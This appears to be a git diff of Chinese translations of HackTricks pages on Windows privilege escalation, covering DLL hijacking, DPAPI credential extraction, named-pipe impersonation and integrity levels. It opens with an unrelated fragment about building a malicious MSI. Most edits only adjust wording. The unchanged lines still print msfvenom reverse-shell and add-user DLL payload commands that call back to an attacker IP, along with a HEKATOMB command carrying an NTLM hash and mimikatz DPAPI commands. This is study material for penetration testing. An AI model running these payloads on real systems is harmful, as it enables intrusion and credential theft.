+为了全面理解 wix MSI 的使用示例,建议查阅 [此页面](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)。在这里,您可以找到各种示例,演示 wix MSI 的用法。
目标是生成一个将执行 lnk 文件的 MSI。为了实现这一点,可以使用以下 XML 代码([xml 来自这里](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)):
```markup
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
index 4b604ca57..b7d6b3981 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
@@ -6,7 +6,7 @@
## 基本信息
-DLL 劫持涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术,如 **DLL 欺骗、注入和旁加载**。它主要用于代码执行、实现持久性,以及较少见的特权升级。尽管这里重点关注升级,但劫持的方法在不同目标之间保持一致。
+DLL 劫持涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术,如 **DLL 欺骗、注入和旁加载**。它主要用于代码执行、实现持久性,以及较少见的特权提升。尽管这里重点关注提升,但劫持的方法在不同目标之间保持一致。
### 常见技术
@@ -36,13 +36,13 @@ DLL 劫持涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵
## 利用缺失的 DLL
-为了提升特权,我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**,在 **将要搜索的某个位置**。因此,我们将能够 **在一个文件夹中编写** DLL,该文件夹 **在搜索 DLL 之前**,或者我们将能够 **在某个文件夹中编写**,该文件夹 **将要搜索 DLL**,而原始 **DLL 在任何文件夹中都不存在**。
+为了提升特权,我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**,在 **将要搜索的某个位置**。因此,我们将能够在 **搜索 DLL 的文件夹之前** 的 **文件夹** 中 **编写** 一个 DLL(奇怪的情况),或者我们将能够在 **将要搜索 DLL 的某个文件夹** 中 **编写**,而原始 **DLL 在任何文件夹中都不存在**。
### DLL 搜索顺序
**在** [**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **中,您可以找到 DLL 的具体加载方式。**
-**Windows 应用程序** 按照一组 **预定义的搜索路径** 查找 DLL,遵循特定的顺序。DLL 劫持的问题出现在有害 DLL 被战略性地放置在这些目录之一中,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
+**Windows 应用程序** 通过遵循一组 **预定义的搜索路径** 来查找 DLL,遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一时,DLL 劫持的问题就出现了,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
您可以在 32 位系统上看到 **DLL 搜索顺序**:
@@ -65,7 +65,7 @@ DLL 劫持涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵
Windows 文档中指出了标准 DLL 搜索顺序的某些例外:
-- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。相反,它会在默认使用内存中已加载的 DLL 之前检查重定向和清单。**在这种情况下,系统不会进行 DLL 搜索**。
+- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。相反,它会在默认使用内存中已加载的 DLL 之前检查重定向和清单。**在这种情况下,系统不会对 DLL 进行搜索**。
- 在 DLL 被识别为当前 Windows 版本的 **已知 DLL** 的情况下,系统将使用其版本的已知 DLL 及其任何依赖 DLL,**跳过搜索过程**。注册表项 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** 保存这些已知 DLL 的列表。
- 如果 **DLL 有依赖项**,则对这些依赖 DLL 的搜索将像仅通过其 **模块名称** 指示一样进行,而不管初始 DLL 是否通过完整路径识别。
@@ -73,10 +73,10 @@ Windows 文档中指出了标准 DLL 搜索顺序的某些例外:
**要求**:
-- 确定一个在 **不同特权** 下运行或将要运行的进程(水平或侧向移动),该进程 **缺少 DLL**。
-- 确保在 **DLL** 将被 **搜索的任何目录** 中有 **写入访问权限**。此位置可能是可执行文件的目录或系统路径中的目录。
+- 确定一个在 **不同特权** 下运行或将要运行的进程(水平或横向移动),该进程 **缺少 DLL**。
+- 确保在 **搜索 DLL** 的任何 **目录** 中有 **写入访问权限**。此位置可能是可执行文件的目录或系统路径中的目录。
-是的,要求很难找到,因为 **默认情况下,找到缺少 DLL 的特权可执行文件有点奇怪**,而且在系统路径文件夹中拥有写入权限 **更奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\
+是的,要求很难找到,因为 **默认情况下,找不到缺少 DLL 的特权可执行文件是有点奇怪的**,而且在系统路径文件夹中 **拥有写入权限** 更是 **奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\
如果您运气好,满足要求,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使该项目的 **主要目标是绕过 UAC**,您也可能会在那里找到一个适用于您可以使用的 Windows 版本的 **DLL 劫持 PoC**(可能只需更改您有写入权限的文件夹的路径)。
请注意,您可以通过以下方式 **检查文件夹中的权限**:
@@ -106,7 +106,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
### 示例
-如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何,请注意,Dll劫持在[**从中等完整性级别提升到高完整性(绕过UAC)**](../authentication-credentials-uac-and-efs.md#uac)或[**从高完整性提升到SYSTEM**](./#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
+如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何,请注意,Dll劫持在[**从中等完整性级别提升到高完整性(绕过UAC)**](../authentication-credentials-uac-and-efs.md#uac)或从[**高完整性提升到SYSTEM**](./#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll**的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
此外,在**下一节**中,您可以找到一些**基本dll代码**,这些代码可能作为**模板**或用于创建**导出非必需函数的dll**。
## **创建和编译Dll**
@@ -115,7 +115,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
基本上,**Dll代理**是一个能够**在加载时执行您的恶意代码**的Dll,同时也能**暴露**并**按预期工作**,通过**将所有调用转发到真实库**。
-使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus),您可以**指定一个可执行文件并选择要代理的库**,并**生成一个代理dll**,或**指定Dll并生成一个代理dll**。
+使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus),您可以实际**指定一个可执行文件并选择要代理的库**,并**生成一个代理dll**,或**指定Dll并生成一个代理dll**。
### **Meterpreter**
@@ -133,7 +133,7 @@ msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
### 你自己的
-注意,在多个情况下,您编译的 Dll 必须 **导出多个函数**,这些函数将被受害者进程加载,如果这些函数不存在,**二进制文件将无法加载**它们,**攻击将失败**。
+请注意,在多个情况下,您编译的 Dll 必须 **导出多个函数**,这些函数将被受害者进程加载,如果这些函数不存在,**二进制文件将无法加载**它们,**攻击将失败**。
```c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
index 7e1c34ad8..e628a03fc 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
@@ -2,15 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
-
-
-**Bug bounty tip**: **注册** **Intigriti**,这是一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
-
## Basic Information
-DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术,如 **DLL Spoofing、Injection 和 Side-Loading**。它主要用于代码执行、实现持久性,以及较少见的权限提升。尽管这里的重点是提升,但劫持的方法在不同目标之间保持一致。
+DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术,如 **DLL Spoofing, Injection, 和 Side-Loading**。它主要用于代码执行、实现持久性,以及较少见的权限提升。尽管这里重点关注提升,但劫持的方法在不同目标间保持一致。
### Common Techniques
@@ -35,33 +29,33 @@ DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术
.png>)
-如果您在寻找 **缺失的 dll**,可以 **让它运行几秒钟**。\
-如果您在寻找 **特定可执行文件中的缺失 dll**,则应设置 **另一个过滤器,如 "Process Name" "contains" "\",执行它,然后停止捕获事件**。
+如果您在寻找 **缺失的 DLL**,可以 **让它运行几秒钟**。\
+如果您在寻找 **特定可执行文件中的缺失 DLL**,则应设置 **另一个过滤器,如 "Process Name" "contains" "\",执行它,然后停止捕获事件**。
## Exploiting Missing Dlls
-为了提升权限,我们最好的机会是能够 **编写一个特权进程将尝试加载的 dll**,在 **将要搜索的某个位置**。因此,我们将能够在 **dll 被搜索的文件夹中写入**一个 dll,而这个文件夹在 **原始 dll** 的文件夹之前(奇怪的情况),或者我们将能够在 **将要搜索的某个文件夹中写入**,而原始 **dll** 在任何文件夹中都不存在。
+为了提升权限,我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**,在 **将要搜索的某个位置**。因此,我们将能够 **在一个文件夹中编写** DLL,该文件夹 **在搜索 DLL 之前**,或者我们将能够 **在某个文件夹中编写**,该文件夹 **将要搜索 DLL**,而原始 **DLL 在任何文件夹中都不存在**。
### Dll Search Order
**在** [**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **中,您可以找到 DLL 的具体加载方式。**
-**Windows 应用程序**通过遵循一组 **预定义的搜索路径** 来查找 DLL,遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一时,DLL 劫持的问题就出现了,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
+**Windows 应用程序** 按照一组 **预定义的搜索路径** 查找 DLL,遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一时,DLL 劫持的问题就会出现,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
-您可以在 32 位系统上看到 **DLL 搜索顺序**如下:
+您可以在 32 位系统上看到 **DLL 搜索顺序**:
1. 应用程序加载的目录。
2. 系统目录。使用 [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 函数获取该目录的路径。(_C:\Windows\System32_)
3. 16 位系统目录。没有函数获取该目录的路径,但会进行搜索。 (_C:\Windows\System_)
4. Windows 目录。使用 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 函数获取该目录的路径。(_C:\Windows_)
5. 当前目录。
-6. 在 PATH 环境变量中列出的目录。请注意,这不包括 **App Paths** 注册表项指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。
+6. 在 PATH 环境变量中列出的目录。请注意,这不包括由 **App Paths** 注册表项指定的每个应用程序路径。在计算 DLL 搜索路径时不使用 **App Paths** 键。
-这是 **默认** 搜索顺序,启用 **SafeDllSearchMode**。当禁用时,当前目录提升到第二位。要禁用此功能,请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0(默认启用)。
+这是 **启用 SafeDllSearchMode** 的 **默认** 搜索顺序。当禁用时,当前目录提升到第二位。要禁用此功能,请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0(默认启用)。
如果调用 [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 函数时使用 **LOAD_WITH_ALTERED_SEARCH_PATH**,搜索将从 **LoadLibraryEx** 正在加载的可执行模块的目录开始。
-最后,请注意 **dll 可以通过指示绝对路径而不是仅仅是名称来加载**。在这种情况下,该 dll **只会在该路径中被搜索**(如果 dll 有任何依赖项,它们将被作为仅通过名称加载进行搜索)。
+最后,请注意 **DLL 可以通过指示绝对路径而不是仅仅是名称来加载**。在这种情况下,该 DLL **只会在该路径中被搜索**(如果 DLL 有任何依赖项,它们将被视为仅按名称加载进行搜索)。
还有其他方法可以更改搜索顺序,但我在这里不打算解释它们。
@@ -69,7 +63,7 @@ DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术
Windows 文档中指出了标准 DLL 搜索顺序的某些例外:
-- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。相反,它会在默认使用内存中已加载的 DLL 之前执行重定向和清单检查。**在这种情况下,系统不会进行 DLL 搜索**。
+- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。相反,它会在默认使用内存中已加载的 DLL 之前进行重定向和清单检查。**在这种情况下,系统不会进行 DLL 搜索**。
- 在 DLL 被识别为当前 Windows 版本的 **已知 DLL** 的情况下,系统将使用其版本的已知 DLL 及其任何依赖 DLL,**跳过搜索过程**。注册表项 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** 保存这些已知 DLL 的列表。
- 如果 **DLL 有依赖项**,则对这些依赖 DLL 的搜索将像仅通过其 **模块名称** 指示一样进行,而不管初始 DLL 是否通过完整路径识别。
@@ -80,8 +74,8 @@ Windows 文档中指出了标准 DLL 搜索顺序的某些例外:
- 确定一个在 **不同权限** 下运行或将要运行的进程(水平或横向移动),该进程 **缺少 DLL**。
- 确保在 **DLL** 将被 **搜索的任何目录** 中有 **写入权限**。此位置可能是可执行文件的目录或系统路径中的目录。
-是的,要求很难找到,因为 **默认情况下,找不到缺少 DLL 的特权可执行文件是有点奇怪的**,而且在系统路径文件夹中拥有写入权限更是 **奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\
-如果您运气好,满足要求,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使 **该项目的主要目标是绕过 UAC**,您也可能会在那里找到一个 Windows 版本的 DLL 劫持的 **PoC**(可能只需更改您有写入权限的文件夹的路径)。
+是的,要求很难找到,因为 **默认情况下,找到缺少 DLL 的特权可执行文件有点奇怪**,而且在系统路径文件夹中拥有写入权限更是 **奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\
+如果您运气好,满足要求,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使该项目的 **主要目标是绕过 UAC**,您也可能会在那里找到一个适用于您可以使用的 Windows 版本的 **DLL 劫持 PoC**(可能只需更改您有写入权限的文件夹路径)。
请注意,您可以通过以下方式 **检查文件夹中的权限**:
```bash
@@ -106,11 +100,11 @@ writable-sys-path-+dll-hijacking-privesc.md
### 自动化工具
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)将检查您是否在系统PATH中的任何文件夹上具有写入权限。\
-其他发现此漏洞的有趣自动化工具包括**PowerSploit函数**:_Find-ProcessDLLHijack_,_Find-PathDLLHijack_和_Write-HijackDll_。
+其他发现此漏洞的有趣自动化工具是**PowerSploit函数**:_Find-ProcessDLLHijack_,_Find-PathDLLHijack_和_Write-HijackDll_。
### 示例
-如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何,请注意,Dll劫持在[**从中等完整性级别提升到高完整性级别(绕过UAC)**](../../authentication-credentials-uac-and-efs/#uac)或[**从高完整性提升到SYSTEM**](../#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
+如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何,请注意,Dll劫持在[**从中等完整性级别提升到高完整性级别(绕过UAC)**](../../authentication-credentials-uac-and-efs/#uac)或从[**高完整性提升到SYSTEM**](../#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
此外,在**下一节**中,您可以找到一些**基本dll代码**,这些代码可能作为**模板**或用于创建**导出非必需函数的dll**。
## **创建和编译Dll**
@@ -131,7 +125,7 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
-**创建用户(x86,我没有看到 x64 版本):**
+**创建用户(x86 我没有看到 x64 版本):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
@@ -223,10 +217,5 @@ return TRUE;
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
-
-
-**漏洞赏金提示**:**注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
index ff28f08e2..34963d4a3 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
@@ -18,7 +18,7 @@
### 查找缺失的Dll
-你需要做的第一件事是**识别一个运行权限高于你的进程**,该进程正在尝试**从你可以写入的系统路径加载Dll**。
+你需要做的第一件事是**识别一个运行权限高于你的进程**,该进程试图**从你可以写入的系统路径加载Dll**。
在这种情况下的问题是,这些进程可能已经在运行。要找出哪些Dll缺失,你需要尽快启动procmon(在进程加载之前)。因此,要查找缺失的.dll,请执行以下操作:
@@ -61,7 +61,7 @@ $newPath = "$envPath;$folderPath"
| 诊断策略服务 (DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` |
| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` |
-找到这个之后,我发现了一篇有趣的博客文章,也解释了如何 [**滥用 WptsExtensions.dll 进行权限提升**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll)。这正是我们 **现在要做的**。
+找到这个之后,我发现了一篇有趣的博客文章,它也解释了如何 [**滥用 WptsExtensions.dll 进行权限提升**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll)。这正是我们 **现在要做的**。
### 利用
@@ -71,11 +71,11 @@ $newPath = "$envPath;$folderPath"
> [!WARNING]
> 请注意,**并非所有服务都以** **`NT AUTHORITY\SYSTEM`** 运行,有些服务也以 **`NT AUTHORITY\LOCAL SERVICE`** 运行,该服务具有 **较少的权限**,你 **将无法创建新用户** 来滥用其权限。\
-> 然而,该用户具有 **`seImpersonate`** 权限,因此你可以使用[ **potato suite 来提升权限**](../roguepotato-and-printspoofer.md)。因此,在这种情况下,反向 shell 是比尝试创建用户更好的选择。
+> 然而,该用户具有 **`seImpersonate`** 权限,因此你可以使用 [**potato suite 来提升权限**](../roguepotato-and-printspoofer.md)。因此,在这种情况下,反向 shell 是比尝试创建用户更好的选择。
-在撰写时,**任务调度程序** 服务是以 **Nt AUTHORITY\SYSTEM** 运行的。
+在撰写时,**任务调度程序** 服务以 **Nt AUTHORITY\SYSTEM** 运行。
-生成了恶意 Dll 之后(_在我的情况下,我使用了 x64 反向 shell,并且我得到了一个 shell,但防御者杀死了它,因为它来自 msfvenom_),将其保存到可写的系统路径中,命名为 **WptsExtensions.dll**,并 **重启** 计算机(或重启服务,或做任何需要的事情以重新运行受影响的服务/程序)。
+生成了恶意 Dll 后(_在我的情况下,我使用了 x64 反向 shell,并得到了一个 shell,但防御者杀死了它,因为它来自 msfvenom_),将其保存到可写的系统路径中,命名为 **WptsExtensions.dll**,并 **重启** 计算机(或重启服务,或做任何需要的事情以重新运行受影响的服务/程序)。
当服务重新启动时,**dll 应该被加载和执行**(你可以 **重用** **procmon** 技巧来检查 **库是否按预期加载**)。
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
index 1bd740036..1177097ad 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
@@ -4,7 +4,7 @@
## 什么是 DPAPI
-数据保护 API (DPAPI) 主要用于 Windows 操作系统中,用于 **对称加密非对称私钥**,利用用户或系统秘密作为重要的熵来源。这种方法简化了开发人员的加密工作,使他们能够使用从用户登录秘密派生的密钥进行数据加密,或者在系统加密中使用系统的域认证秘密,从而免去开发人员自己管理加密密钥保护的需要。
+数据保护 API (DPAPI) 主要用于 Windows 操作系统中 **对称加密非对称私钥**,利用用户或系统秘密作为重要的熵来源。这种方法简化了开发人员的加密工作,使他们能够使用从用户登录秘密派生的密钥进行数据加密,或者在系统加密中使用系统的域认证秘密,从而免去开发人员自己管理加密密钥保护的需要。
### DPAPI 保护的数据
@@ -13,10 +13,10 @@ DPAPI 保护的个人数据包括:
- Internet Explorer 和 Google Chrome 的密码和自动完成数据
- 应用程序(如 Outlook 和 Windows Mail)的电子邮件和内部 FTP 账户密码
- 共享文件夹、资源、无线网络和 Windows Vault 的密码,包括加密密钥
-- 远程桌面连接、.NET Passport 和各种加密和认证目的的私钥密码
+- 远程桌面连接、.NET Passport 和各种加密与认证目的的私钥密码
- 由凭据管理器管理的网络密码以及使用 CryptProtectData 的应用程序中的个人数据,如 Skype、MSN messenger 等
-## List Vault
+## 列表 Vault
```bash
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
@@ -49,7 +49,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:
```
## 主密钥
-用于加密用户 RSA 密钥的 DPAPI 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录下,其中 {SID} 是该用户的 [**安全标识符**](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥存储在同一个文件中**。它通常是 64 字节的随机数据。(请注意,此目录受到保护,因此您无法使用 `dir` 从 cmd 列出它,但您可以从 PS 列出它)。
+用于加密用户 RSA 密钥的 DPAPI 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录下,其中 {SID} 是该用户的 [**安全标识符**](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥存储在同一文件中**。它通常是 64 字节的随机数据。(请注意,此目录受到保护,因此您无法使用 `dir` 从 cmd 列出它,但您可以从 PS 列出它)。
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@@ -74,13 +74,13 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
## HEKATOMB
-[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) 是一个自动提取LDAP目录中所有用户和计算机以及通过RPC提取域控制器备份密钥的工具。该脚本将解析所有计算机的IP地址,并在所有计算机上执行smbclient以检索所有用户的所有DPAPI blob,并使用域备份密钥解密所有内容。
+[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) 是一个自动提取LDAP目录中所有用户和计算机的工具,并通过RPC提取域控制器备份密钥。然后,脚本将解析所有计算机的IP地址,并在所有计算机上执行smbclient以检索所有用户的所有DPAPI blob,并使用域备份密钥解密所有内容。
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
通过从LDAP提取的计算机列表,您可以找到每个子网络,即使您不知道它们!
-“因为域管理员权限还不够。黑掉他们所有人。”
+“因为域管理员权限还不够。黑掉他们所有。”
## DonPAPI
diff --git a/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md b/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
index 7db0d39d5..5fdd4b336 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
@@ -3,8 +3,8 @@
**代码流程:**
1. 创建一个新的管道
-2. 创建并启动一个服务,该服务将连接到创建的管道并写入内容。服务代码将执行以下编码的 PS 代码:`$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
-3. 服务从管道中的客户端接收数据,调用 ImpersonateNamedPipeClient 并等待服务完成
+2. 创建并启动一个服务,该服务将连接到创建的管道并写入一些内容。服务代码将执行以下编码的 PS 代码:`$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
+3. 服务从客户端接收管道中的数据,调用 ImpersonateNamedPipeClient 并等待服务完成
4. 最后,使用从服务获得的令牌生成一个新的 _cmd.exe_
> [!WARNING]
diff --git a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
index d515d24ce..33082716e 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
@@ -4,12 +4,12 @@
## Integrity Levels
-在 Windows Vista 及更高版本中,所有受保护的项目都有一个 **完整性级别** 标签。此设置通常将“中等”完整性级别分配给文件和注册表项,除了某些 Internet Explorer 7 可以以低完整性级别写入的文件和文件夹。默认情况下,标准用户启动的进程具有中等完整性级别,而服务通常在系统完整性级别下运行。高完整性标签保护根目录。
+在 Windows Vista 及更高版本中,所有受保护的项目都有一个 **完整性级别** 标签。此设置通常将“中等”完整性级别分配给文件和注册表项,除了某些 Internet Explorer 7 可以以低完整性级别写入的文件夹和文件。默认情况下,标准用户启动的进程具有中等完整性级别,而服务通常在系统完整性级别下运行。高完整性标签保护根目录。
-一个关键规则是,具有低于对象级别的完整性级别的进程无法修改对象。完整性级别如下:
+一个关键规则是,低于对象级别的进程无法修改对象。完整性级别如下:
- **不可信**:此级别适用于匿名登录的进程。 %%%示例:Chrome%%%
-- **低**:主要用于互联网交互,特别是在 Internet Explorer 的受保护模式下,影响相关文件和进程,以及某些文件夹,如 **临时 Internet 文件夹**。低完整性进程面临重大限制,包括无法写入注册表和有限的用户配置文件写入访问权限。
+- **低**:主要用于互联网交互,特别是在 Internet Explorer 的受保护模式中,影响相关文件和进程,以及某些文件夹,如 **临时 Internet 文件夹**。低完整性进程面临重大限制,包括无法写入注册表和有限的用户配置文件写入访问权限。
- **中**:大多数活动的默认级别,分配给标准用户和没有特定完整性级别的对象。即使是管理员组的成员默认也在此级别操作。
- **高**:保留给管理员,允许他们修改低完整性级别的对象,包括高完整性级别的对象。
- **系统**:Windows 内核和核心服务的最高操作级别,甚至管理员也无法触及,确保保护重要的系统功能。
@@ -37,7 +37,7 @@ NT AUTHORITY\INTERACTIVE:(I)(M,DC)
NT AUTHORITY\SERVICE:(I)(M,DC)
NT AUTHORITY\BATCH:(I)(M,DC)
```
-现在,让我们为文件分配最低的完整性级别为 **高**。这 **必须在以** 管理员 **身份运行的控制台中完成**,因为 **常规控制台** 将在中等完整性级别下运行,并且 **不允许** 将高完整性级别分配给对象:
+现在,让我们为文件分配一个最低的完整性级别为 **高**。这 **必须在以** **管理员** 身份运行的 **控制台** 中完成,因为 **常规控制台** 将以中等完整性级别运行,并且 **不允许** 将高完整性级别分配给对象:
```
icacls asd.txt /setintegritylevel(oi)(ci) High
processed file: asd.txt
